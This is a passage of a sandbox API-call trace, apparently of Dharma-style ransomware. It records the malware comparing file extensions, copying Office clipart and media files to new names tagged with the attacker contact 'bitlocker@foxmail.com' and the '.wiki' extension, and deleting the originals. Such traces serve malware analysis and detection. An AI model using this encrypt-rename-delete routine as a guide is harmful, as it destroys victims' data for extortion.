(lpString=".rar") returned 4 [0183.015] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString=".bz2") returned 4 [0183.015] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString=".7z") returned 3 [0183.015] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0183.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0183.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.358] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.358] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0185.137] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.137] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0185.816] GetLastError () returned 0x0 [0185.816] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1044, lpOverlapped=0x0) returned 1 [0185.834] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1050, lpOverlapped=0x0) returned 1 [0185.836] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.836] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.836] SetEndOfFile (hFile=0x1fc) returned 1 [0185.836] CloseHandle (hObject=0x1fc) returned 1 [0185.836] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.836] SetEndOfFile (hFile=0x1e4) returned 1 [0185.837] CloseHandle (hObject=0x1e4) returned 1 [0185.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0185.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.838] lstrlenW (lpString=".doc") returned 4 [0185.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString=".docx") returned 5 [0185.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.838] lstrlenW (lpString=".pdf") returned 4 [0185.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString=".xls") returned 4 [0185.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.838] lstrlenW (lpString=".xlsx") returned 5 [0185.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.838] lstrlenW (lpString=".ppt") returned 4 [0185.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.838] lstrlenW (lpString=".zip") returned 4 [0185.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.838] lstrlenW (lpString=".rar") returned 4 [0185.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString=".bz2") returned 4 [0185.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString=".7z") returned 3 [0185.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.838] lstrlenW (lpString=".dbf") returned 4 [0185.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.838] lstrlenW (lpString=".1cd") returned 4 [0185.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.838] lstrlenW (lpString=".jpg") returned 4 [0185.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString=".doc") returned 4 [0185.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString=".docx") returned 5 [0185.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.839] lstrlenW (lpString=".pdf") returned 4 [0185.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString=".xls") returned 4 [0185.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.839] lstrlenW (lpString=".xlsx") returned 5 [0185.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.839] lstrlenW (lpString=".ppt") returned 4 [0185.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString=".zip") returned 4 [0185.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.839] lstrlenW (lpString=".rar") returned 4 [0185.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString=".bz2") returned 4 [0185.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString=".7z") returned 3 [0185.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString=".dbf") returned 4 [0185.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString=".1cd") returned 4 [0185.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0185.839] lstrlenW (lpString=".jpg") returned 4 [0185.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.840] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.840] lstrlenW (lpString="BOATINST.WMF") returned 12 [0185.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.840] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=29004) returned 1 [0185.840] CloseHandle (hObject=0x1e4) returned 1 [0185.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0185.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.840] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.840] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0185.841] GetLastError () returned 0x0 [0185.841] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x714c, lpOverlapped=0x0) returned 1 [0185.848] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7150, lpOverlapped=0x0) returned 1 [0185.849] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.849] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.849] SetEndOfFile (hFile=0x1fc) returned 1 [0185.849] CloseHandle (hObject=0x1fc) returned 1 [0185.850] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.850] SetEndOfFile (hFile=0x1e4) returned 1 [0185.850] CloseHandle (hObject=0x1e4) returned 1 [0185.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0185.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.851] lstrlenW (lpString=".doc") returned 4 [0185.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.851] lstrlenW (lpString=".docx") returned 5 [0185.851] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.851] lstrlenW (lpString=".pdf") returned 4 [0185.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.851] lstrlenW (lpString=".xls") returned 4 [0185.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.851] lstrlenW (lpString=".xlsx") returned 5 [0185.851] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.851] lstrlenW (lpString=".ppt") returned 4 [0185.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.851] lstrlenW (lpString=".zip") returned 4 [0185.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.851] lstrlenW (lpString=".rar") returned 4 [0185.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.851] lstrlenW (lpString=".bz2") returned 4 [0185.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString=".7z") returned 3 [0185.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString=".dbf") returned 4 [0185.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString=".1cd") returned 4 [0185.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString=".jpg") returned 4 [0185.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString=".doc") returned 4 [0185.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString=".docx") returned 5 [0185.852] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.852] lstrlenW (lpString=".pdf") returned 4 [0185.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString=".xls") returned 4 [0185.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.852] lstrlenW (lpString=".xlsx") returned 5 [0185.852] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.852] lstrlenW (lpString=".ppt") returned 4 [0185.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.852] lstrlenW (lpString=".zip") returned 4 [0185.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.852] lstrlenW (lpString=".rar") returned 4 [0185.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.852] lstrlenW (lpString=".bz2") returned 4 [0185.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.853] lstrlenW (lpString=".7z") returned 3 [0185.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.853] lstrlenW (lpString=".dbf") returned 4 [0185.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.853] lstrlenW (lpString=".1cd") returned 4 [0185.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0185.853] lstrlenW (lpString=".jpg") returned 4 [0185.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.853] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.853] lstrlenW (lpString="BS00076_.WMF") returned 12 [0185.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.853] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1330) returned 1 [0185.853] CloseHandle (hObject=0x1e4) returned 1 [0185.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0185.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.854] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.854] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0185.854] GetLastError () returned 0x0 [0185.854] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x532, lpOverlapped=0x0) returned 1 [0185.863] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x540, lpOverlapped=0x0) returned 1 [0185.865] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.865] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.865] SetEndOfFile (hFile=0x1fc) returned 1 [0185.865] CloseHandle (hObject=0x1fc) returned 1 [0185.865] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.865] SetEndOfFile (hFile=0x1e4) returned 1 [0185.866] CloseHandle (hObject=0x1e4) returned 1 [0185.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0185.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.866] lstrlenW (lpString=".doc") returned 4 [0185.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.866] lstrlenW (lpString=".docx") returned 5 [0185.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.866] lstrlenW (lpString=".pdf") returned 4 [0185.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.866] lstrlenW (lpString=".xls") returned 4 [0185.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.867] lstrlenW (lpString=".xlsx") returned 5 [0185.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.867] lstrlenW (lpString=".ppt") returned 4 [0185.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString=".zip") returned 4 [0185.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.867] lstrlenW (lpString=".rar") returned 4 [0185.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString=".bz2") returned 4 [0185.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString=".7z") returned 3 [0185.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString=".dbf") returned 4 [0185.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString=".1cd") returned 4 [0185.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString=".jpg") returned 4 [0185.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.867] lstrlenW (lpString=".doc") returned 4 [0185.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString=".docx") returned 5 [0185.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.867] lstrlenW (lpString=".pdf") returned 4 [0185.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.867] lstrlenW (lpString=".xls") returned 4 [0185.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.868] lstrlenW (lpString=".xlsx") returned 5 [0185.868] lstrcmpiW 